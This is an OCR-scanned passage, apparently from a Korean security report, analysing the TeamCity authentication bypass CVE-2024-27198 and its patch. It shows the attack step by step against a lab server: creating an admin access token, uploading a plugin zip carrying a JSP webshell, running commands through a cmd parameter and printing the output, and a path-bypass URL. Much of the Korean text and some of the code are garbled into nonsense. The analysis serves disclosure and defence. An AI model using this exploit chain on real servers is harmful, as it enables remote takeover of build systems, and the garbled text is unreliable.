Chrome/122.0.6261.112 Safari/b37.36 T|Date: Wed, 27 Mar 2024 03:35:48 GMT
SlAccept PConnection: close
text/html ,application/xhtmli+xml ,application/xml:q=0.9,imag| 9
e/aviT, image/webp, image/apng.*/*:g=0.8 application/signed-| 10K?xml version="1.0" encoding="UTF-8" standalone="yes"?>
exchange:v=b3:0=0.7 <token name="EQST" creationTime="
GlAccept—Encoding: gzip. deflate, br 2024-03-27T03:35:48.4857" value="
T|Accept-Language: ko-KR,ko:g=0.9,en-US:g=0.8,en:q=0.7 eyJOeXAiOiATVENIMIJS . dT JBLWaLaFNT Z00xcWt 2YTVvQ 1exTFdj TWS
Z|Connection: close R.NDISN2RKNTATOGASNYOONDgALTg5Nj EtNzh i NGF Y zAwN | Y2" />
9|Content-Type: application/x—www—form-urlencoded
[ 0]Content-Length: 0

19 18. A access token TF 37

T2 A= ES 9 A3ol|A &eld 4~ Qlth S access token 2 Authorization: Bearer 3f|T
oz qge AE Al A-goto] Bz A @37 7ol
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admin

General An access token can be used instead of a password in login forms or sent in the "Authorization: Bearer' header when accessing RE
VCS Usernames
braups Create access token Delete all tokens

Motification Rules
Token Name $ Creation Time#  Expiration Time® Permissions Scope% Last Usage Time % Last Access |

Access Tokens 2
test1 27 Mar 24 03:22 28 Mar 24 03:22 <5ame as user> 27 Mar 24 03:23 172.17.0.1

EQST 27 Mar 24 03:35  <Permanent> <Same as users MNever

19 19. #E A} access token B Ad}

Step 4. 974 A& ¥

1) TeamCity ¢} Plugin #+%
TeamCity 94 Plugin & Y2E5H7] flsiAe 24t ool 22 Fx= o|fA glofof gt

B test.zip
I_ Teamcity-plugin.xml
I— B server
I— B test.jar
I— B buildServerResources
L

test.jsp

39 20. TeamCity ¢t Plugin +X

TeamCity of 423 Plugin 2 zip 2] FE A2 Plugin o 3t AE7} 7145 Teamcity—
Qs GAZFET ZEH jsp Y2 buildServerResources T E 2o

A
oloh g

plugin.xml ©] ¥E=
a

Yl jar THER
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2) 9}/ Plugin =& 2 A3
gt el AR o2 Administration) Plugins) Upload plugin zip HlfolA A A& kA

Plugin & 4= 4 ok

&« C A FA2Y 192.168.102.74:8111/admin/admin.htmIzZitem=plugins % » L O 2

Queue 1 heme tem « Administration

which will be utilized in tk

Project-related Settings

Projects PIUglﬂS

All Builds This TeamCity instalfatian_has 95 plugins (including 2 external)

Build Time ) : -

Browse plugins repository —I + Upload plugin zip

Disk Usage

Server Health Periodically check for plugin updates | Check MNow

Audit
User Management Upload plugin zip

Users

Groups Plugin | gl MEd |te5t.zip

tegrations irectory =/ = -
ntegrations

V.zip

Tools Upload plugin zip Cancel

Server Administration test 1.0 SKshieldus <TeamCity Data Directory>/ = -

a9 21. o4 Plugin 4=2E

oHg Plugin & Y=Lt & /plugins/{Plugin ©]5}/{jsp g} A2=2 HIoto] AP 5
Zof ARg3t oF4d Plugin 2 JSP WebShell o9, ofit 22 57 payload 2 92 g3 Adjo]
5

‘ http://{TeamCity_address}/plugins/{Plugin_name}/{jsp_file}?cmd={command}

s 9% g9 Avt okt 2o

http://192.168.102.74:8111/plugins/test/test.jsp?cmd=ls

& C AZF22% [192.168.102.74:8111/plugins/test/testjspzcmds=ls | 2 4+ & A 0 2

Command: Is

append.bat bootstrap.jar catalina.bat catalina.sh catalina-tasks.xml commons-daemon jar commons-daemon-native.targz configtest.nat
configtest.sh daemon.sh db-maintenance jar digestbat digest.sh findJava.bat findJava.sh maintainDB.cmd maintainDB.sh makebase.bat
makebase.sh runAll.bat runAllsh setclasspath.bat setclasspath.sh shutdown.bat shutdown.sh startup.bat startup.sh teamcity-serverbat
teamcity-server-configuratorjar teamcity-server-internal.bat teamcity-server-restarterbat teamcity-server-restartersh teamcity-serversh
teamcity-server-update jar TeamCityService.exe teamcity-update.bat teamcity-update.sh tomcat-julijar tomcat-native.targz tool-wrapperbat
tool-wrapper.sh version.bat version.sh

a9 22. 974 9 A9 4%
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m g o

O -

e

jaoﬁbg 27} A-8H 2023.11.4 BjAo2 Ago|EsAL,
SAY. sAEt & 7Rz gy R

%
‘fF
n)
olo
ol
rO
mlo

Plugin = A

CVE-2024-27198 ‘?:_}E % JetBrains +=
]
O

« URL: https://blog.jetbrains. com/teamc1ty/2024/03/teamc1ty 2023-11-4-is—out/

2023.11.3 HAA FHoFd 3t
webA HE Aoyt et ARE o
T4 A= o E

= st 4

o|N
|o

2 g7l jsp weEtnEe Iz ARE 5 Sl
ol4s] Mol 7hesit: 2023.11.4 HWAdeA Sdgh

ED

EVIGERR http://192.168.102.74:8111/aaaa?jsp=WEB-INF/web.xml; jsp

< > C A\ Not secure [192.168.102.74:8111/aaaa?jsp=WEB-INF/web.ml;,Js = ¢ Incognito

This XML file does not appear to have any style inforination associated with it. The document tree 1s shown below.

¥ <web-app xmlns="http://Jjava.sun.com/xml/ns/Jjavase” wxmlns:xsi="http://wew.w3.org/2001/XML5chema-1nstance’
id="BuildServer” version="3.8" xsi:schemalocation="http://java.sun.com/xml/ns/javace
http://java.sun.com/xml/ns/javaee/web-app_3_0.xsd" metadata-complete="true">
<display-name>Jetbrains TeamCity</display-name>
v<servlet:
<servlet-namerbuildServer</servlet-name>
<servlet-class>jetbrains.buildServer.maintenance. TeamCityDispatcherservlet</servlet-class:»
¢<load-on-startup>2</load-on-startup>
<async-supportedrtrue</async-supported:
</servlet>

a9 23. 374 A

o] & 397 2024.03 #7A] TeamCity 7} EA|5c}.
g M 2] TeamCity & updateViewlfRequestHas]spParameter A =S 2HA] Z Xt

public final ModelAndView handleRequestInternal(HttpServletRequest request,
HttpServletResponse response) throws Exception {
try {
ModelAndView modelAndView = doHandle(request, response);
1t (modellAndView = null && (modelAndView.getWView| ) instanceof RedirectView)) 1
modelAndView.getModel () .clear();

h

return modelAndView;

1% 24. updateViewlfRequestHas]JspParameter WA E A1A|
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https://blog.jetbrains.com/teamcity/2024/03/teamcity-2023-11-4-is-out/

a7 23 B FLe 4 payload AE Al H ol 84 Wi jsp mEUIEE A2|StA] ¢ot
54°] =7Fsstt

A\ Not secure  |192.168.102.74:81( in.htmlZjsp=W W Y, & incognito

Log in to TeamCity

Usemame

Password

Remember me Raset password

Log in

[ version 2024.03 (buila 156166) |
a9 25.jsp U EE AR g B

webA], 2023.11.4 HA Y] TeamCity &= &S ix]= QIgt F714Q1 54 7HeAdE& 7Hx]aL §lo,
74 24 HAQl 2024.03 TeamCity 2 I AL @A)

HEZ HY HH

JetBrains TeamCity 2024.03
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H 30 AIO|E

« RFC2396 (https://datatracker.ietf.org/doc/html/rfc2396)

« IBM-What is a REST API? (https://www.ibm.com/topics/rest—apis)

+ TeamCity Plugin Development Help (https://plugins.jetbrains.com/docs/teamcity/plugins—
packaging.html#Server—Side+Plugins)

¢ The TeamCity Blog: TeamCity 2023.11.4 IsOut (https://blog.jetbrains.com/teamcity/2024/03/teamcity—
2023-11-4-is—out/)

+ The TeamCity Blog: Additional Critical Security Issues Affecting TeamCity On—Premises — Update to
2023.11.4 Now (https://blog.jetbrains.com/teamcity/2024/03/additional—critical—security—issues—affecting -
teamcity—on-—premises—cve—2024-27198-and-cve—2024-27199-update—to—2023-11-4-now/)

« Rapid7: CVE-2024-27198 and CVE-2024-27199: JetBrains TeamCity Multiple Authentication Bypass
Vulnerabilities (FIXED) (https://www.rapid7.com/blog/post/2024/03/04/etr—cve—2024-27198-and-cve-
2024-27199—jetbrains—teamcity—multiple—authentication—bypass—vulnerabilities—fixed/)

+ TeamCity Vulnerability Exploits Lead to Jasmin Ransomeware, Other Malware Types
(https://www.trendmicro.com/en_us/research/24/c/teamcity—vulnerability—exploits—lead —to—jasmin—

ransomware.html?utm_source=trendmicroresearch&utm_medium=smk&utm_campaign=032024_TeamCity)
« HTTP URL Path Pa
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